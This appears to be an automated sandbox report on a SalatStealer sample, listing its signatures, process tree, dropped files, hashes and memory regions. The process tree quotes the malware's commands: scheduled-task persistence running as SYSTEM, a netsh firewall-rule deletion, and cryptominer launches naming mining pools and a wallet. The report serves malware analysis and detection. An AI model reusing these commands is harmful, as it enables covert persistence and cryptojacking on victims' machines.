Analysis

  • max time kernel
    5s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 07:13

General

  • Target
    file.exe
  • Size 27.8MB
  • Sample260930-h17mgaxcld
  • SHA256 0ed5f89495d323094e05eb354a5822dd0c37a17488fccacff5c0280b3b461c62
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

  • Detect SalatStealer payload 16 IoCs
  • Windows security bypass 2 TTPs 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Windows security modification 2 TTPs 2 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • UPX packed file 18 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Executes a command shell one-liner 1 TTPs 6 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4656
    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\file.exe
      "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\file.exe"
      2⤵
      • Windows security bypass
      • Executes dropped EXE
      • Windows security modification
      PID:1556
      • C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\WinInetCache\ddd.exe
        "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\WinInetCache\ddd.exe"
        3⤵
          PID:5788
          • C:\Users\Admin\AppData\Local\Packages\dwm.exe
            C:\Users\Admin\AppData\Local\Packages\dwm.exe
            4⤵
              PID:1632
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /Create /F /TN WindowsCache /SC ONLOGON /IT /RL HIGHEST /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheAssistant.exe\" --mnr-task"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2488
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /Create /F /TN WindowsCacheBoot /SC ONSTART /RU SYSTEM /RL HIGHEST /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheAssistant.exe\" --mnr-excl"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2744
          • C:\Windows\SYSTEM32\netsh.exe
            netsh advfirewall firewall delete rule program="C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe"
            3⤵
            • Modifies Windows Firewall
            PID:1072
          • C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheHealth.exe
            "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheHealth.exe"
            3⤵
              PID:5832
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /Create /F /TN WindowsCache /SC ONLOGON /IT /RL HIGHEST /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheAssistant.exe\" --mnr-task"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:3304
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /Create /F /TN WindowsCacheBoot /SC ONSTART /RU SYSTEM /RL HIGHEST /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheAssistant.exe\" --mnr-excl"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:1680
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
              "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1py5yd4xuzz8pl59e9rc0le2tpuv6nx72q2hh87f2the9x7l5tvwfs7q07a5 --worker WORKER1 --password x --tls false --api-enable --api-port 22200 --api-rig-name WORKER1
              3⤵
                PID:4496
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c set
                  4⤵
                  • Executes a command shell one-liner
                  PID:1984
              • C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
                "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1py5yd4xuzz8pl59e9rc0le2tpuv6nx72q2hh87f2the9x7l5tvwfs7q07a5 --worker WORKER1 --password x --tls false --api-enable --api-port 22200 --api-rig-name WORKER1
                3⤵
                  PID:1840
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c set
                    4⤵
                    • Executes a command shell one-liner
                    PID:5420
                • C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
                  "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1py5yd4xuzz8pl59e9rc0le2tpuv6nx72q2hh87f2the9x7l5tvwfs7q07a5 --worker WORKER1 --password x --tls false --api-enable --api-port 22200 --api-rig-name WORKER1
                  3⤵
                    PID:4920
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c set
                      4⤵
                      • Executes a command shell one-liner
                      PID:3336
                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
                    "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1py5yd4xuzz8pl59e9rc0le2tpuv6nx72q2hh87f2the9x7l5tvwfs7q07a5 --worker WORKER1 --password x --tls false --api-enable --api-port 22200 --api-rig-name WORKER1
                    3⤵
                      PID:2644
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c set
                        4⤵
                        • Executes a command shell one-liner
                        PID:720
                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
                      "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1py5yd4xuzz8pl59e9rc0le2tpuv6nx72q2hh87f2the9x7l5tvwfs7q07a5 --worker WORKER1 --password x --tls false --api-enable --api-port 22200 --api-rig-name WORKER1
                      3⤵
                        PID:3312
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c set
                          4⤵
                          • Executes a command shell one-liner
                          PID:352
                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
                        "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1py5yd4xuzz8pl59e9rc0le2tpuv6nx72q2hh87f2the9x7l5tvwfs7q07a5 --worker WORKER1 --password x --tls false --api-enable --api-port 22200 --api-rig-name WORKER1
                        3⤵
                          PID:2304
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c set
                            4⤵
                            • Executes a command shell one-liner
                            PID:712
                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheAssistant.exe
                      "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheAssistant.exe"
                      1⤵
                        PID:5040
                      • C:\Program Files (x86)\Windows Media Player\sppsvc.exe
                        "C:\Program Files (x86)\Windows Media Player\sppsvc.exe"
                        1⤵
                          PID:1080

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              8B2B9A00839EED1DFDCCC3BFC2F5DF12

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12
                              • Size 1KB
                              • SHA256 6f7bfa4789bd506ccf81640feec036bac7c0354084ca472f55a79ce53b9c3ade
                              • MD5 SHA1 SHA512 TLSH

                              92FDCB4A9EA3501777EE30E62CEEFAEF

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\92FDCB4A9EA3501777EE30E62CEEFAEF
                              • Size 310B
                              • SHA256 6aeff6a0ff8531f7d7f71d62abf56faf09cede2f2e488a89528b42a1efc90b0f
                              • MD5 SHA1 SHA512 TLSH

                              B46811C17859FFB409CF0E904A4AA8F8

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8
                              • Size 528B
                              • SHA256 d2bb091268ade68ad8121d2184d0fbce128070156304bd4de312e6fbd267409c
                              • MD5 SHA1 SHA512 TLSH

                              8B2B9A00839EED1DFDCCC3BFC2F5DF12

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12
                              • Size 174B
                              • SHA256 a51f59e5fa44d4c12a75148c7d09924d7032274630215a3cab45120a4a776f1a
                              • MD5 SHA1 SHA512 TLSH

                              92FDCB4A9EA3501777EE30E62CEEFAEF

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\92FDCB4A9EA3501777EE30E62CEEFAEF
                              • Size 192B
                              • SHA256 7ab409306890bee82d8073741db0c5109560e2bb2b7db4cd3faf5cc2d401d0ea
                              • MD5 SHA1 SHA512 TLSH

                              B46811C17859FFB409CF0E904A4AA8F8

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8
                              • Size 170B
                              • SHA256 cad1374be86b8652dcfb2ddd2da0516241ff6cb3c0c0a1e8d925edf7a805e008
                              • MD5 SHA1 SHA512 TLSH

                              MicrosoftCacheHealth.exe

                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheHealth.exe
                              • Size 214KB
                              • SHA256 9b3cdb74d086aa695aeb96867ffba982c2c316b3dd8442785d45128fd4d82280
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              MicrosoftCacheWorker.exe

                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
                              • Size 24.1MB
                              • SHA256 a0d90564ef9a943924f381c8952f91b98e4910012225e88d397ed941068300c9
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              build.json

                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\build.json
                              • Size 1KB
                              • SHA256 b57d89c88f0872972be4d3580fc9a453b40a8826dd89baae8c437e5e12a7f251
                              • MD5 SHA1 SHA512 TLSH

                              build.json

                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\build.json
                              • Size 1KB
                              • SHA256 18a60d30293465977d5da47f04169abf43d243a5786a8a3bfd87bf84ae95669c
                              • MD5 SHA1 SHA512 TLSH

                              gpu_duty.json

                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\gpu_duty.json
                              • Size 95B
                              • SHA256 60026affc36612bec735c640acfce7d030ec8bc400ab8c680ebd2c76d64563df
                              • MD5 SHA1 SHA512 TLSH

                              gpu_status.json

                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\gpu_status.json
                              • Size 139B
                              • SHA256 346aca036a709f213d6d3aebf32310990fc02b8c0372806741f03ba8bb112095
                              • MD5 SHA1 SHA512 TLSH

                              gpu_status.json

                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\gpu_status.json
                              • Size 135B
                              • SHA256 9bbdcd7fd28a956ea7cdc602e9f16f293612ca7bd5956178e80058d48f9685da
                              • MD5 SHA1 SHA512 TLSH

                              taskmgr_hook.dll

                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\taskmgr_hook.dll
                              • Size 14KB
                              • SHA256 022d6d6bc21a8a87489cdeb8779ba72fa09a9b0f6bb0e4fa91f8880fe510e501
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              file.exe

                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\file.exe
                              • Size 27.7MB
                              • SHA256 687f2b46ebeb5234a68a55463fb941320ae264619308af7a3f5e902d9bfb92b2
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              ddd.exe

                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\WinInetCache\ddd.exe
                              • Size 3.4MB
                              • SHA256 02b400d2226373c37c264192bb4aeb603a73eabefedcf921920c634c128d9e2f
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1080-147-0x0000000000FD0000-0x0000000001C26000-memory.dmp

                              memory/1632-156-0x0000000000E40000-0x0000000001A96000-memory.dmp

                              memory/1632-183-0x0000000000E40000-0x0000000001A96000-memory.dmp

                              memory/1632-178-0x0000000000E40000-0x0000000001A96000-memory.dmp

                              memory/1632-151-0x0000000000E40000-0x0000000001A96000-memory.dmp

                              memory/1632-176-0x0000000000E40000-0x0000000001A96000-memory.dmp

                              memory/1840-86-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/1840-93-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/1840-87-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/1840-88-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/1840-89-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/1840-90-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/1840-91-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/1840-83-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/1840-100-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/2304-193-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/2304-192-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/2304-197-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/2304-195-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/2304-194-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/2304-190-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/2304-196-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/2304-191-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/2644-145-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/2644-146-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/2644-148-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/2644-149-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/2644-150-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/2644-152-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/2644-137-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/2644-138-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/3312-175-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/3312-172-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/3312-171-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/3312-170-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/3312-173-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/3312-174-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/3312-177-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/4496-70-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/4496-52-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/4496-53-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/4496-51-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/4496-50-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/4496-49-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/4496-48-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/4496-47-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/4920-107-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/4920-115-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/4920-106-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/4920-112-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/4920-120-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/4920-119-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/4920-117-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/4920-116-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

                              memory/5788-118-0x0000000000780000-0x00000000013D6000-memory.dmp

                              memory/5788-135-0x0000000000780000-0x00000000013D6000-memory.dmp

                              memory/5788-121-0x0000000000780000-0x00000000013D6000-memory.dmp

                              memory/5788-122-0x0000000000780000-0x00000000013D6000-memory.dmp

                              memory/5788-101-0x0000000000780000-0x00000000013D6000-memory.dmp

                              memory/5788-92-0x0000000000780000-0x00000000013D6000-memory.dmp

                              memory/5788-85-0x0000000000780000-0x00000000013D6000-memory.dmp

                              memory/5788-84-0x0000000000780000-0x00000000013D6000-memory.dmp

                              memory/5788-82-0x0000000000780000-0x00000000013D6000-memory.dmp

                              memory/5788-54-0x0000000000780000-0x00000000013D6000-memory.dmp

                              memory/5788-13-0x0000000000780000-0x00000000013D6000-memory.dmp